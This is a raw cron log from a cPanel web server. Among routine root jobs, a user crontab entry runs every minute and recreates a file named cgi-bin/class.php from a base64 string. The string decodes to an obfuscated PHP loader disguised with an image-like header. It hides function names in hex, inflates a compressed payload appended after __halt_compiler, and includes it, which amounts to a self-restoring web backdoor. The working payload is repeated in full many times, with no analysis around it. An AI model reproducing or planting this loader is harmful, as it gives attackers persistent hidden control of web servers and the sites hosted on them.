Sep 12 13:41:01 server CROND[24754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:41:01 server CROND[24755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:42:01 server CROND[25130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:42:01 server CROND[25132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:42:01 server CROND[25131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:42:01 server CROND[25133]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 13:43:01 server CROND[25513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:43:01 server CROND[25515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:43:01 server CROND[25514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:44:01 server CROND[25878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:44:01 server CROND[25879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:44:01 server CROND[25880]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:45:01 server CROND[26363]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 13:45:01 server CROND[26364]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 13:45:01 server CROND[26365]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:45:01 server CROND[26368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:45:01 server CROND[26367]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:45:01 server CROND[26366]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:45:01 server CROND[26371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:46:01 server CROND[27301]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:46:01 server CROND[27302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:46:01 server CROND[27303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:47:01 server CROND[27679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:47:01 server CROND[27681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:47:01 server CROND[27680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:48:01 server CROND[28069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:48:01 server CROND[28070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:48:01 server CROND[28071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:49:01 server CROND[28451]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:49:01 server CROND[28453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:49:01 server CROND[28459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:50:01 server CROND[28847]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 13:50:01 server CROND[28848]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 13:50:01 server CROND[28851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:50:01 server CROND[28858]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:50:01 server CROND[28859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:50:01 server CROND[28860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:50:01 server CROND[28856]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 13:50:01 server CROND[28857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:50:01 server CROND[28861]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 13:51:01 server CROND[29780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:51:01 server CROND[29781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:51:01 server CROND[29782]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:52:01 server CROND[30151]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:52:01 server CROND[30152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:52:01 server CROND[30153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:53:01 server CROND[30524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:53:01 server CROND[30523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:53:01 server CROND[30525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:54:01 server CROND[30907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
